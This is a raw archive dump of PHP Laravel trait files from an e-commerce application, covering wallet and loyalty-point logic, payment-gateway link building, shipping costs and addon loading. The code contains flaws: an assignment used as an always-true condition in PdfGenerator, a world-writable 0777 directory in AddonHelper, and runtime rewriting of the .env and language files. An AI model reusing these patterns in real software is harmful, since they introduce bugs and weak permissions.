CaptchaBuilder { $phrase = new PhraseBuilder; $code = $phrase->build($captureLength); $builder = new CaptchaBuilder($code, $phrase); $builder->setBackgroundColor(220, 210, 230); $builder->setMaxAngle(25); $builder->setMaxBehindLines(0); $builder->setMaxFrontLines(0); $builder->build($width = 100, $height = 40, $font = null); return $builder; } public function saveRecaptchaValueInSession(string $sessionKey, string $sessionValue):void{ if (Session::has($sessionKey)) { Session::forget($sessionKey); } Session::put($sessionKey, $sessionValue); } } CustomerTrait.php 0000644 00000010667 15007532267 0010103 0 ustar 00 <?php namespace App\Traits; use App\Contracts\Repositories\CustomerRepositoryInterface; use App\Contracts\Repositories\LoyaltyPointTransactionRepositoryInterface; use App\Contracts\Repositories\OrderDetailRepositoryInterface; use App\Models\BusinessSetting; use App\Models\User; use App\Models\WalletTransaction; use Exception; use Illuminate\Support\Facades\DB; use App\Utils\Helpers; use App\Utils\Convert; trait CustomerTrait { public function __construct( private readonly OrderDetailRepositoryInterface $orderDetailRepo, private readonly CustomerRepositoryInterface $customerRepo, private readonly LoyaltyPointTransactionRepositoryInterface $loyaltyPointTransactionRepo, ) { } protected function convertAmountToLoyaltyPoint(object $orderDetails):int { $loyaltyPointStatus = getWebConfig('loyalty_point_status'); $loyaltyPoint = 0; if($loyaltyPointStatus == 1) { $getLoyaltyPointOnPurchase =getWebConfig('loyalty_point_item_purchase_point'); $subtotal = ($orderDetails['price'] * $orderDetails['qty']) - $orderDetails['discount'] + $orderDetails['tax']; $loyaltyPoint = (int)(usdToDefaultCurrency(amount: $subtotal) * $getLoyaltyPointOnPurchase /100); } return $loyaltyPoint; } protected function createWalletTransaction($user_id, float $amount, $transaction_type, $reference, $payment_data=[]): bool|WalletTransaction { if(BusinessSetting::where('type','wallet_status')->first()->value != 1) return false; $user = User::find($user_id); $currentBalance = $user->wallet_balance; $walletTransaction = new WalletTransaction(); $walletTransaction->user_id = $user->id; $walletTransaction->transaction_id = \Str::uuid(); $walletTransaction->reference = $reference; $walletTransaction->transaction_type = $transaction_type; $walletTransaction->payment_method = isset($payment_data['payment_method']) ? $payment_data['payment_method'] : null; $debit = 0.0; $credit = 0.0; $addFundToWalletBonus = 0; if(in_array($transaction_type, ['add_fund_by_admin','add_fund','order_refund','loyalty_point'])) { $credit = $amount; if($transaction_type == 'add_fund') { $walletTransaction->admin_bonus = Helpers::add_fund_to_wallet_bonus(Convert::usd($amount ?? 0)); $addFundToWalletBonus = Helpers::add_fund_to_wallet_bonus(Convert::usd($amount ?? 0)); } else if($transaction_type == 'loyalty_point') { $credit = (($amount / BusinessSetting::where('type','loyalty_point_exchange_rate')->first()->value)*Convert::default(1)); } } else if($transaction_type == 'order_place') { $debit = $amount; } $creditAmount = currencyConverter($credit); $debitAmount = currencyConverter($debit); $walletTransaction->credit = $creditAmount; $walletTransaction->debit = $debitAmount; $walletTransaction->balance = $currentBalance + $creditAmount - $debitAmount; $walletTransaction->created_at = now(); $walletTransaction->updated_at = now(); $user->wallet_balance = $currentBalance + $addFundToWalletBonus + $creditAmount - $debitAmount; try{ DB::beginTransaction(); $user->save(); $walletTransaction->save(); DB::commit(); if(in_array($transaction_type, ['loyalty_point','order_place','add_fund_by_admin'])) return $walletTransaction; return true; }catch(Exception $ex) { info($ex); DB::rollback(); return false; } } public function countLoyaltyPointForAmount(string|int $id): int|float { $orderDetails = $this->orderDetailRepo->getFirstWhere(params: ['id' => $id]); $loyaltyPointStatus = getWebConfig(name: 'loyalty_point_status'); $loyaltyPoint = 0; if ($loyaltyPointStatus == 1) { $loyaltyPointItemPurchasePoint = getWebConfig(name: 'loyalty_point_item_purchase_point'); $subtotal = ($orderDetails['price'] * $orderDetails['qty']) - $orderDetails['discount'] + $orderDetails['tax']; return (int)(usdToDefaultCurrency($subtotal) * $loyaltyPointItemPurchasePoint / 100); } return $loyaltyPoint; } } PdfGenerator.php 0000644 00000004435 15007532267 0007652 0 ustar 00 <?php namespace App\Traits; trait PdfGenerator { public static function generatePdf($view, $filePrefix, $filePostfix, $pdfType=null, $requestFrom='admin'): string { $mpdf = new \Mpdf\Mpdf(['default_font' => 'FreeSerif', 'mode' => 'utf-8', 'format' => [190, 250], 'autoLangToFont' => true]); $mpdf->autoScriptToLang = true; $mpdf->autoLangToFont = true; if($pdfType = 'invoice'){ $footerHtml = self::footerHtml($requestFrom); $mpdf->SetHTMLFooter($footerHtml); } $mpdf_view = $view; $mpdf_view = $mpdf_view->render(); $mpdf->WriteHTML($mpdf_view); $mpdf->Output($filePrefix . $filePostfix . '.pdf', 'D'); } public static function footerHtml(string $requestFrom):string { $getCompanyPhone = getWebConfig(name: 'company_phone'); $getCompanyEmail = getWebConfig(name: 'company_email'); if($requestFrom == 'web' && theme_root_path() == 'theme_aster' || theme_root_path() == 'theme_fashion'){ return '<div style="width:560px;margin: 0 auto;background-color: #1455AC"> <table class="fz-10"> <tr> <td style="padding: 10px"> <span style="color:#ffffff;">'.url('/').'</span> </td> <td style="padding: 10px"> <span style="color:#ffffff;">'.$getCompanyPhone.'</span> </td> <td style="padding: 10px"> <span style="color:#ffffff;">'.$getCompanyEmail.'</span> </td> </tr> </table> </div>'; }else{ return '<div style="width:520px;margin: 0 auto;background-color: #F2F4F7;padding: 11px 19px 10px 32px;"> <table class="fz-10"> <tr> <td> <span>'.url('/').'</span> </td> <td> <span>'.$getCompanyPhone.'</span> </td> <td> <span>'.$getCompanyEmail.'</span> </td> </tr> </table> </div>'; } } } PaginatorTrait.php 0000644 00000000474 15007532267 0010221 0 ustar 00 <?php namespace App\Traits; use Illuminate\Pagination\LengthAwarePaginator; trait PaginatorTrait { protected function getPaginationData(LengthAwarePaginator $collection): array { return [ 'links' => $collection->links(), 'total' => $collection->total(), ]; } } Payment.txt 0000644 00000014342 15007532267 0006735 0 ustar 00 <?php namespace App\Traits; use App\Models\PaymentRequest; use InvalidArgumentException; trait Payment { public static function generate_link(object $payer, object $payment_info, Object $receiver) { if ($payment_info->getPaymentAmount() === 0) { throw new InvalidArgumentException('Payment amount can not be 0'); } if (!in_array(strtoupper($payment_info->getCurrencyCode()), array_column(GATEWAYS_CURRENCIES, 'code'))) { throw new InvalidArgumentException('Need a valid currency code'); } if (!in_array($payment_info->getPaymentMethod(), array_column(GATEWAYS_PAYMENT_METHODS, 'key'))) { throw new InvalidArgumentException('Need a valid payment gateway'); } if (!is_array($payment_info->getAdditionalData())) { throw new InvalidArgumentException('Additional data should be in a valid array'); } $payment = new PaymentRequest(); $payment->payment_amount = $payment_info->getPaymentAmount(); $payment->success_hook = $payment_info->getSuccessHook(); $payment->failure_hook = $payment_info->getFailureHook(); $payment->payer_id = $payment_info->getPayerId(); $payment->receiver_id = $payment_info->getReceiverId(); $payment->currency_code = strtoupper($payment_info->getCurrencyCode()); $payment->payment_method = $payment_info->getPaymentMethod(); $payment->additional_data = json_encode($payment_info->getAdditionalData()); $payment->payer_information = json_encode($payer->information()); $payment->receiver_information = json_encode($receiver->information()); $payment->external_redirect_link = $payment_info->getExternalRedirectLink(); $payment->attribute = $payment_info->getAttribute(); $payment->attribute_id = $payment_info->getAttributeId(); $payment->payment_platform = $payment_info->getPaymentPlatForm(); $payment->save(); if ($payment->payment_method == 'ssl_commerz') { return url("payment/sslcommerz/pay/?payment_id={$payment->id}"); }else if($payment->payment_method == 'stripe'){ return url("payment/stripe/pay/?payment_id={$payment->id}"); }else if($payment->payment_method == 'paymob_accept'){ return url("payment/paymob/pay/?payment_id={$payment->id}"); }else if($payment->payment_method == 'flutterwave'){ return url("payment/flutterwave-v3/pay/?payment_id={$payment->id}"); }else if($payment->payment_method == 'paytm'){ return url("payment/paytm/pay/?payment_id={$payment->id}"); }else if($payment->payment_method == 'paypal'){ return url("payment/paypal/pay/?payment_id={$payment->id}"); }else if($payment->payment_method == 'paytabs'){ return url("payment/paytabs/pay/?payment_id={$payment->id}"); }else if($payment->payment_method == 'liqpay'){ return url("payment/liqpay/pay/?payment_id={$payment->id}"); }else if($payment->payment_method == 'razor_pay'){ return url("payment/razor-pay/pay/?payment_id={$payment->id}"); }else if($payment->payment_method == 'senang_pay'){ return url("payment/senang-pay/pay/?payment_id={$payment->id}"); }else if($payment->payment_method == 'mercadopago'){ return url("payment/mercadopago/pay/?payment_id={$payment->id}"); }else if($payment->payment_method == 'bkash'){ return url("payment/bkash/make-payment/?payment_id={$payment->id}"); }else if($payment->payment_method == 'paystack'){ return url("payment/paystack/pay/?payment_id={$payment->id}"); }else if($payment->payment_method == 'fatoorah'){ return url("payment/fatoorah/pay/?payment_id={$payment->id}"); }else if($payment->payment_method == 'xendit'){ return url("payment/xendit/pay/?payment_id={$payment->id}"); }else if($payment->payment_method == 'amazon_pay'){ return url("payment/amazon/pay/?payment_id={$payment->id}"); }else if($payment->payment_method == 'iyzi_pay'){ return url("payment/iyzipay/pay/?payment_id={$payment->id}"); }else if($payment->payment_method == 'hyper_pay'){ return url("payment/hyperpay/pay/?payment_id={$payment->id}"); }else if($payment->payment_method == 'foloosi'){ return url("payment/foloosi/pay/?payment_id={$payment->id}"); }else if($payment->payment_method == 'ccavenue'){ return url("payment/ccavenue/pay/?payment_id={$payment->id}"); }else if($payment->payment_method == 'pvit'){ return url("payment/pvit/pay/?payment_id={$payment->id}"); }else if($payment->payment_method == 'moncash'){ return url("payment/moncash/pay/?payment_id={$payment->id}"); }else if($payment->payment_method == 'thawani'){ return url("payment/thawani/pay/?payment_id={$payment->id}"); }else if($payment->payment_method == 'tap'){ return url("payment/tap/pay/?payment_id={$payment->id}"); }else if($payment->payment_method == 'viva_wallet'){ return url("payment/viva/pay/?payment_id={$payment->id}"); }else if($payment->payment_method == 'hubtel'){ return url("payment/hubtel/pay/?payment_id={$payment->id}"); }else if($payment->payment_method == 'maxicash'){ return url("payment/maxicash/pay/?payment_id={$payment->id}"); }else if($payment->payment_method == 'esewa'){ return url("payment/esewa/pay/?payment_id={$payment->id}"); }else if($payment->payment_method == 'swish'){ return url("payment/swish/pay/?payment_id={$payment->id}"); }else if($payment->payment_method == 'momo'){ return url("payment/momo/pay/?payment_id={$payment->id}"); }else if($payment->payment_method == 'payfast'){ return url("payment/payfast/pay/?payment_id={$payment->id}"); }else if($payment->payment_method == 'worldpay'){ return url("payment/worldpay/pay/?payment_id={$payment->id}"); }else if($payment->payment_method == 'sixcash'){ return url("payment/sixcash/pay/?payment_id={$payment->id}"); } return false; } } Payment.php 0000644 00000007325 15007532267 0006710 0 ustar 00 <?php namespace App\Traits; use Illuminate\Contracts\Routing\UrlGenerator; use Illuminate\Foundation\Application; use InvalidArgumentException; use Modules\Gateways\Entities\PaymentRequest; trait Payment { public static function generate_link(object $payer, object $payment_info, object $receiver): Application|bool|string|UrlGenerator|\Illuminate\Contracts\Foundation\Application { if ($payment_info->getPaymentAmount() <= 0) { throw new InvalidArgumentException(translate('Payment amount can not be 0')); } if (!is_array($payment_info->getAdditionalData())) { throw new InvalidArgumentException(translate('Additional data should be in a valid array')); } $payment = new PaymentRequest(); $payment->payment_amount = $payment_info->getPaymentAmount(); $payment->success_hook = $payment_info->getSuccessHook(); $payment->failure_hook = $payment_info->getFailureHook(); $payment->payer_id = $payment_info->getPayerId(); $payment->receiver_id = $payment_info->getReceiverId(); $payment->currency_code = strtoupper($payment_info->getCurrencyCode()); $payment->payment_method = $payment_info->getPaymentMethod(); $payment->additional_data = json_encode($payment_info->getAdditionalData()); $payment->payer_information = json_encode($payer->information()); $payment->receiver_information = json_encode($receiver->information()); $payment->external_redirect_link = $payment_info->getExternalRedirectLink(); $payment->attribute = $payment_info->getAttribute(); $payment->attribute_id = $payment_info->getAttributeId(); $payment->payment_platform = $payment_info->getPaymentPlatForm(); $payment->save(); $routes = [ 'ssl_commerz' => 'payment/sslcommerz/pay', 'stripe' => 'payment/stripe/pay', 'paymob_accept' => 'payment/paymob/pay', 'flutterwave' => 'payment/flutterwave-v3/pay', 'paytm' => 'payment/paytm/pay', 'paypal' => 'payment/paypal/pay', 'paytabs' => 'payment/paytabs/pay', 'liqpay' => 'payment/liqpay/pay', 'razor_pay' => 'payment/razor-pay/pay', 'senang_pay' => 'payment/senang-pay/pay', 'mercadopago' => 'payment/mercadopago/pay', 'bkash' => 'payment/bkash/make-payment', 'paystack' => 'payment/paystack/pay', 'fatoorah' => 'payment/fatoorah/pay', 'xendit' => 'payment/xendit/pay', 'amazon_pay' => 'payment/amazon/pay', 'iyzi_pay' => 'payment/iyzipay/pay', 'hyper_pay' => 'payment/hyperpay/pay', 'foloosi' => 'payment/foloosi/pay', 'ccavenue' => 'payment/ccavenue/pay', 'pvit' => 'payment/pvit/pay', 'moncash' => 'payment/moncash/pay', 'thawani' => 'payment/thawani/pay', 'tap' => 'payment/tap/pay', 'viva_wallet' => 'payment/viva/pay', 'hubtel' => 'payment/hubtel/pay', 'maxicash' => 'payment/maxicash/pay', 'esewa' => 'payment/esewa/pay', 'swish' => 'payment/swish/pay', 'momo' => 'payment/momo/pay', 'payfast' => 'payment/payfast/pay', 'worldpay' => 'payment/worldpay/pay', 'sixcash' => 'payment/sixcash/pay', 'phonepe' => 'payment/phonepe/pay', 'cashfree' => 'payment/cashfree/pay', 'instamojo' => 'payment/instamojo/pay', ]; if (array_key_exists($payment->payment_method, $routes)) { return url("{$routes[$payment->payment_method]}/?payment_id={$payment->id}"); } else { return false; } } } Processor.php 0000644 00000007255 15007532267 0007254 0 ustar 00 <?php namespace App\Traits; use App\Models\Setting; use Exception; use Illuminate\Http\JsonResponse; use Illuminate\Routing\Redirector; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\App; use Illuminate\Http\RedirectResponse; use Illuminate\Foundation\Application; use Illuminate\Support\Facades\Storage; trait Processor { public function response_formatter($constant, $content = null, $errors = []): array { $constant = (array)$constant; $constant['content'] = $content; $constant['errors'] = $errors; return $constant; } public function error_processor($validator): array { $errors = []; foreach ($validator->errors()->getMessages() as $index => $error) { $errors[] = ['error_code' => $index, 'message' => self::translate($error[0])]; } return $errors; } public function translate($key) { try { App::setLocale('en'); $lang_array = include(base_path('resources/lang/' . 'en' . '/lang.php')); $processed_key = ucfirst(str_replace('_', ' ', str_ireplace(['\'', '"', ',', ';', '<', '>', '?'], ' ', $key))); if (!array_key_exists($key, $lang_array)) { $lang_array[$key] = $processed_key; $str = "<?php return " . var_export($lang_array, true) . ";"; file_put_contents(base_path('resources/lang/' . 'en' . '/lang.php'), $str); $result = $processed_key; } else { $result = __('lang.' . $key); } return $result; } catch (\Exception $exception) { return $key; } } public function payment_config($key, $settings_type): object|null { try { $config = DB::table('addon_settings')->where('key_name', $key) ->where('settings_type', $settings_type)->first(); } catch (Exception $exception) { return new Setting(); } return (isset($config)) ? $config : null; } public function file_uploader(string $dir, string $format, $image = null, $old_image = null) { if ($image == null) return $old_image ?? 'def.png'; if (isset($old_image)) Storage::disk('public')->delete($dir . $old_image); $imageName = \Carbon\Carbon::now()->toDateString() . "-" . uniqid() . "." . $format; if (!Storage::disk('public')->exists($dir)) { Storage::disk('public')->makeDirectory($dir); } Storage::disk('public')->put($dir . $imageName, file_get_contents($image)); return $imageName; } public function payment_response($payment_info, $payment_flag): Application|JsonResponse|Redirector|RedirectResponse|\Illuminate\Contracts\Foundation\Application { $getNewUser = (int)0; $additionalData = json_decode($payment_info->additional_data, true); if (isset($additionalData['new_customer_id']) && isset($additionalData['is_guest_in_order'])) { $getNewUser = (int)(($additionalData['new_customer_id'] != 0 && $additionalData['is_guest_in_order'] != 1) ? 1 : 0); } $token_string = 'payment_method=' . $payment_info->payment_method . '&&transaction_reference=' . $payment_info->transaction_id; if (in_array($payment_info->payment_platform, ['web', 'app']) && $payment_info['external_redirect_link'] != null) { return redirect($payment_info['external_redirect_link'] . '?flag=' . $payment_flag . '&&token=' . base64_encode($token_string) . '&&new_user=' . $getNewUser); } return redirect()->route('payment-' . $payment_flag, ['token' => base64_encode($token_string), 'new_user' => $getNewUser]); } } SettingsTrait.php 0000644 00000002015 15007532267 0010066 0 ustar 00 <?php namespace App\Traits; use Illuminate\Support\Facades\Http; use Illuminate\Support\Facades\Session; trait SettingsTrait { public function setEnvironmentValue($envKey, $envValue): mixed { $envFile = app()->environmentFilePath(); $str = file_get_contents($envFile); if (is_bool(env($envKey))) { $oldValue = var_export(env($envKey), true); } else { $oldValue = env($envKey); } if (strpos($str, $envKey) !== false) { $str = str_replace("{$envKey}={$oldValue}", "{$envKey}={$envValue}", $str); } else { $str .= "{$envKey}={$envValue}\n"; } $fp = fopen($envFile, 'w'); fwrite($fp, $str); fclose($fp); return $envValue; } public function getSettings($object, $type) { $config = null; foreach ($object as $setting) { if ($setting['type'] == $type) { $config = $setting; } } return $config; } } ProductTrait.php 0000644 00000007565 15007532267 0007725 0 ustar 00 <?php namespace App\Traits; use App\Models\CategoryShippingCost; use App\Models\ShippingMethod; use App\Models\ShippingType; use App\Utils\Helpers; trait ProductTrait { public function isAddedByInHouse(string|null $addedBy): bool { return isset($addedBy) && $addedBy == 'in_house'; } public static function getProductDeliveryCharge(object|array $product, string|int $quantity): array { $deliveryCost = 0; $shippingModel = Helpers::get_business_settings('shipping_method'); $shippingType = ""; $maxOrderWiseShippingCost = 0; $minOrderWiseShippingCost = 0; if ($shippingModel == "inhouse_shipping") { $shippingType = ShippingType::where(['seller_id' => 0])->first(); if ($shippingType->shipping_type == "category_wise") { $catId = $product->category_id; $CategoryShippingCost = CategoryShippingCost::where(['seller_id' => 0, 'category_id' => $catId])->first(); $deliveryCost = $CategoryShippingCost ? ($CategoryShippingCost->multiply_qty != 0 ? ($CategoryShippingCost->cost * $quantity) : $CategoryShippingCost->cost) : 0; } elseif ($shippingType->shipping_type == "product_wise") { $deliveryCost = $product->multiply_qty != 0 ? ($product->shipping_cost * $quantity) : $product->shipping_cost; } elseif ($shippingType->shipping_type == 'order_wise') { $maxOrderWiseShippingCost = ShippingMethod::where(['creator_id' => 1, 'creator_type' => 'admin', 'status' => 1])->max('cost'); $minOrderWiseShippingCost = ShippingMethod::where(['creator_id' => 1, 'creator_type' => 'admin', 'status' => 1])->min('cost'); } } elseif ($shippingModel == "sellerwise_shipping") { if ($product->added_by == "admin") { $shippingType = ShippingType::where('seller_id', '=', 0)->first(); } else { $shippingType = ShippingType::where('seller_id', '!=', 0)->where(['seller_id' => $product->user_id])->first(); } if ($shippingType) { $shippingType = $shippingType ?? ShippingType::where('seller_id', '=', 0)->first(); if ($shippingType->shipping_type == "category_wise") { $catId = $product->category_id; if ($product->added_by == "admin") { $CategoryShippingCost = CategoryShippingCost::where(['seller_id' => 0, 'category_id' => $catId])->first(); } else { $CategoryShippingCost = CategoryShippingCost::where(['seller_id' => $product->user_id, 'category_id' => $catId])->first(); } $deliveryCost = $CategoryShippingCost ? ($CategoryShippingCost->multiply_qty != 0 ? ($CategoryShippingCost->cost * $quantity) : $CategoryShippingCost->cost) : 0; } elseif ($shippingType->shipping_type == "product_wise") { $deliveryCost = $product->multiply_qty != 0 ? ($product->shipping_cost * $quantity) : $product->shipping_cost; } elseif ($shippingType->shipping_type == 'order_wise') { $maxOrderWiseShippingCost = ShippingMethod::where(['creator_id' => $product->user_id, 'creator_type' => $product->added_by, 'status' => 1])->max('cost'); $minOrderWiseShippingCost = ShippingMethod::where(['creator_id' => $product->user_id, 'creator_type' => $product->added_by, 'status' => 1])->min('cost'); } } } return [ 'delivery_cost' => $deliveryCost, 'delivery_cost_max' => $maxOrderWiseShippingCost, 'delivery_cost_min' => $minOrderWiseShippingCost, 'shipping_type' => $shippingType->shipping_type ?? '', ]; } } ThemeHelper.php 0000644 00000001066 15007532267 0007471 0 ustar 00 <?php namespace App\Traits; use Illuminate\Support\Facades\File; trait ThemeHelper { public function get_theme_routes(): array { $theme_routes = []; try { if (theme_root_path() != 'default' && is_file(base_path('resources/themes/'.theme_root_path().'/public/addon/theme_routes.php'))) { $theme_routes = include('resources/themes/'.theme_root_path().'/public/addon/theme_routes.php'); // theme_root_path() } } catch (\Exception $exception) { } return $theme_routes; } } AddonHelper.php 0000644 00000005724 15007532267 0007461 0 ustar 00 <?php namespace App\Traits; use Illuminate\Support\Facades\File; trait AddonHelper { public function get_addons(): array { $dir = 'Modules'; $directories = self::getDirectories($dir); $addons = []; foreach ($directories as $directory) { $sub_dirs = self::getDirectories('Modules/' . $directory); if (in_array('Addon', $sub_dirs)) { $addons[] = 'Modules/' . $directory; } } $array = []; foreach ($addons as $item) { $full_data = include($item . '/Addon/info.php'); $array[] = [ 'addon_name' => $full_data['name'], 'software_id' => $full_data['software_id'], 'is_published' => $full_data['is_published'], ]; } return $array; } public function get_addon_admin_routes(): array { $dir = 'Modules'; $directories = self::getDirectories($dir); $addons = []; foreach ($directories as $directory) { $sub_dirs = self::getDirectories('Modules/' . $directory); if (in_array('Addon', $sub_dirs)) { $addons[] = 'Modules/' . $directory; } } $full_data = []; foreach ($addons as $item) { $info = include($item . '/Addon/info.php'); if ($info['is_published']){ $full_data[] = include($item . '/Addon/admin_routes.php'); } } return $full_data; } public function get_payment_publish_status(): array { $dir = 'Modules'; // Update the directory path to Modules/Gateways $directories = self::getDirectories($dir); $addons = []; foreach ($directories as $directory) { $sub_dirs = self::getDirectories($dir . '/' . $directory); // Use $dir instead of 'Modules/' if($directory == 'Gateways'){ if (in_array('Addon', $sub_dirs)) { $addons[] = $dir . '/' . $directory; // Use $dir instead of 'Modules/' } } } $array = []; foreach ($addons as $item) { $full_data = include($item . '/Addon/info.php'); $array[] = [ 'is_published' => $full_data['is_published'], ]; } return $array; } function getDirectories(string $path): array { $module_dir = base_path('Modules'); try { if (!File::exists($module_dir)) { File::makeDirectory($module_dir); File::chmod($module_dir, 0777); } } catch (\Exception $e) { } $directories = []; $items = scandir(base_path($path)); foreach ($items as $item) { if ($item == '..' || $item == '.') continue; if (is_dir($path . '/' . $item)) $directories[] = $item; } return $directories; } }
Free Space : Byte